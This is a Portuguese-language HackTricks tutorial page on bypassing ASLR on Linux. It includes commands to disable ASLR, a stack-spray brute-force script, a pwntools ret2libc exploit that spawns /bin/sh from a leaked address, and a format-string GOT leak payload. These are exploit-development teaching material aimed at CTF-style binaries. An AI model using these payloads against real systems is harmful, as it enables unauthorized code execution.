.. | ||
README.md | ||
ret2plt.md | ||
ret2ret.md |
ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Address Space Layout Randomization (ASLR) é uma técnica de segurança utilizada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente buffer overflows.
Checking ASLR Status
Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space
. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado:
- 0: Sem randomização. Tudo é estático.
- 1: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
- 2: Randomização total. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de
brk()
é randomizada.
Você pode verificar o status do ASLR com o seguinte comando:
cat /proc/sys/kernel/randomize_va_space
Desabilitando ASLR
Para desabilitar ASLR, você define o valor de /proc/sys/kernel/randomize_va_space
para 0. Desabilitar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desabilitá-lo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Você também pode desativar ASLR para uma execução com:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Habilitando ASLR
Para habilitar ASLR, você pode escrever um valor de 2 no arquivo /proc/sys/kernel/randomize_va_space
. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistência Entre Reinicializações
As alterações feitas com os comandos echo
são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf
e adicionar ou modificar a seguinte linha:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Após editar /etc/sysctl.conf
, aplique as alterações com:
sudo sysctl -p
Isso garantirá que suas configurações de ASLR permaneçam entre reinicializações.
Bypasses
Força bruta de 32 bits
PaX divide o espaço de endereçamento do processo em 3 grupos:
- Código e dados (inicializados e não inicializados):
.text
,.data
e.bss
—> 16 bits de entropia na variáveldelta_exec
. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais. - Memória alocada por
mmap()
e bibliotecas compartilhadas —> 16 bits, chamadadelta_mmap
. - A pilha —> 24 bits, referida como
delta_stack
. No entanto, ela efetivamente usa 11 bits (do 10º ao 20º byte, inclusive), alinhados a 16 bytes —> Isso resulta em 524.288 endereços de pilha reais possíveis.
Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso.
Ideias de força bruta:
- Se você tiver um estouro grande o suficiente para hospedar um grande NOP sled antes do shellcode, você poderia simplesmente forçar endereços na pilha até que o fluxo salte sobre alguma parte do NOP sled.
- Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível adicionar o NOP sled e o shellcode em uma variável de ambiente.
- Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se você estiver atacando um servidor remoto, pode tentar forçar a descoberta do endereço da função
usleep
dalibc
, passando como argumento 10 (por exemplo). Se em algum momento o servidor demora 10s a mais para responder, você encontrou o endereço dessa função.
{% hint style="success" %} Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível. {% endhint %}
Força bruta na pilha de 64 bits
É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.
O código a seguir mostra como é possível apenas selecionar um endereço na pilha e a cada algumas centenas de execuções esse endereço conterá a instrução NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
Informações Locais (/proc/[pid]/stat
)
O arquivo /proc/[pid]/stat
de um processo é sempre legível por todos e contém informações interessantes como:
- startcode & endcode: Endereços acima e abaixo com o TEXT do binário
- startstack: O endereço do início da stack
- start_data & end_data: Endereços acima e abaixo onde está o BSS
- kstkesp & kstkeip: Endereços atuais de ESP e EIP
- arg_start & arg_end: Endereços acima e abaixo onde estão os argumentos do cli.
- env_start &env_end: Endereços acima e abaixo onde estão as variáveis de ambiente.
Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma entrada diferente que pode ser criada após a leitura deste arquivo. É possível para um atacante obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração.
{% hint style="success" %}
Para mais informações sobre este arquivo, consulte https://man7.org/linux/man-pages/man5/proc.5.html procurando por /proc/pid/stat
{% endhint %}
Tendo um leak
- O desafio é fornecer um leak
Se você receber um leak (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você conhece a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do exemplo daqui (ver essa página para mais detalhes):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Abusando de um buffer overflow, seria possível explorar um ret2plt para exfiltrar um endereço de uma função da libc. Verifique:
{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}
- Format Strings Arbitrary Read
Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma função da libc do GOT. O seguinte exemplo é daqui:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Você pode encontrar mais informações sobre leitura arbitrária de Strings de Formato em:
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Ret2ret & Ret2pop
Tente contornar o ASLR abusando de endereços dentro da pilha:
{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}
vsyscall
O mecanismo vsyscall
serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos vsyscalls reside em seus endereços fixos, que não estão sujeitos ao ASLR (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.
No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a ret;
)
(O seguinte exemplo e código é deste writeup)
Por exemplo, um atacante pode usar o endereço 0xffffffffff600800
dentro de um exploit. Enquanto tentar pular diretamente para uma instrução ret
pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um syscall
fornecido pela seção vsyscall pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget ROP que leva a execução para este endereço vsyscall, um atacante pode conseguir a execução de código sem precisar contornar o ASLR para esta parte do exploit.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Note que pode ser possível burlar o ASLR abusando do vdso se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado. Para mais informações, consulte:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.